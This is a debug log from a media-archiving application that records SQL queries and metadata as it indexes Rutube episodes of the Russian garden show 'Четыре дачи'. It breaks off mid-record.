11:14:09.734 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=554.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:09.737 [debug] QUERY OK source="sources" db=1.6ms queue=0.2ms idle=55.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:09.739 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=55.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-12 14:35:51Z], 5] 11:14:14.561 [debug] QUERY OK source="media_items" db=4821.3ms idle=57.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "5d936486-452d-403d-80a8-06c075c78836", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", 2, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2023-08-12 14:35:51Z], ~U[2025-12-09 08:14:09Z], ~U[2025-12-09 08:14:09Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2023-08-12 14:35:51Z]] 11:14:14.642 [debug] QUERY OK source="sources" db=78.5ms queue=0.1ms idle=1593.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:14.643 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.2ms idle=1672.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:14.646 [debug] QUERY OK source="media_items" db=1.2ms idle=1488.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44608] 11:14:14.646 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "duration" => 4242, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", "id" => "5914a4c8fa92d978fc7107a63cb85474", "original_url" => "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", "playlist_index" => 3, "timestamp" => 1692427214, "title" => "Четыре дачи: Московская область", "upload_date" => "20230819"} 11:14:14.647 [debug] QUERY OK source="sources" db=0.7ms idle=317.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:14.648 [debug] QUERY OK source="sources" db=0.3ms idle=87.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:14.649 [debug] QUERY OK source="media_items" db=0.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-19 06:40:14Z], 5] 11:14:15.467 [debug] QUERY OK source="media_items" db=817.4ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "c80688ee-7e40-495d-9bad-ed08753b3047", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", 3, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-19 06:40:14Z], ~U[2025-12-09 08:14:14Z], ~U[2025-12-09 08:14:14Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, 5, ~U[2023-08-19 06:40:14Z]] 11:14:15.504 [debug] QUERY OK source="sources" db=33.9ms queue=0.1ms idle=822.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:15.506 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.1ms idle=855.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:15.511 [debug] QUERY OK source="media_items" db=0.8ms queue=0.4ms idle=860.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44609] 11:14:15.512 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "duration" => 4274, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", "id" => "144a797f8ed532a2dc298bbbe7907d51", "original_url" => "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", "playlist_index" => 4, "timestamp" => 1693036815, "title" => "Четыре дачи: Ленинградская область", "upload_date" => "20230826"} 11:14:15.514 [debug] QUERY OK source="sources" db=1.6ms idle=45.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:15.517 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=44.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:15.520 [debug] QUERY OK source="media_items" db=0.9ms queue=0.8ms idle=13.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-26 08:00:15Z], 5] 11:14:16.190 [debug] QUERY OK source="media_items" db=668.1ms queue=0.1ms idle=14.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "63266fc4-1d26-49f4-be58-c8b7f898d85b", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", 4, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-26 08:00:15Z], ~U[2025-12-09 08:14:15Z], ~U[2025-12-09 08:14:15Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nСвоё гостеприимство проявят дачники Ленинградской области. Любовь из посёлка Ропша покажет «нескучный сад». В селе Колчаново Евгения откроет двери своей вип-дачи. Полина пригласит конкурентов в посёлок Рощино на эстетическую дачу. А Татьяна из посёлка Борисово удивит своей романтической дачей. Секретами садоводства и огородничества поделится программа «Четыре дачи».", "Четыре дачи: Ленинградская область", "144a797f8ed532a2dc298bbbe7907d51", 4274, false, "https://rutube.ru/video/144a797f8ed532a2dc298bbbe7907d51/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e082600 - Четыре дачи: Ленинградская область.mp4", false, 5, ~U[2023-08-26 08:00:15Z]] 11:14:16.228 [debug] QUERY OK source="sources" db=32.8ms queue=0.1ms idle=684.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:16.230 [debug] QUERY OK source="media_profiles" db=0.7ms idle=714.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:16.234 [debug] QUERY OK source="media_items" db=0.8ms idle=716.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44610] 11:14:16.235 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "duration" => 3961, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", "id" => "eb5965611817d566c213266d02594bd0", "original_url" => "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", "playlist_index" => 5, "timestamp" => 1693641013, "title" => "Четыре дачи: Вологодская область", "upload_date" => "20230902"} 11:14:16.242 [debug] QUERY OK source="sources" db=3.4ms idle=717.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:16.254 [debug] QUERY OK source="sources" db=6.8ms queue=0.1ms idle=54.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:16.260 [debug] QUERY OK source="media_items" db=3.6ms queue=1.3ms idle=25.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-02 07:50:13Z], 5] 11:14:16.965 [debug] QUERY OK source="media_items" db=703.4ms idle=31.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "e5ab40dc-8dfe-4a79-83de-78ca2c3a8841", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", 5, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, false, false, 5, [], 1, ~U[2023-09-02 07:50:13Z], ~U[2025-12-09 08:14:16Z], ~U[2025-12-09 08:14:16Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, 5, ~U[2023-09-02 07:50:13Z]] 11:14:17.026 [debug] QUERY OK source="sources" db=58.5ms idle=726.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:17.028 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.4ms idle=776.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:17.030 [debug] QUERY OK source="media_items" db=0.6ms idle=769.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44611] 11:14:17.032 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас 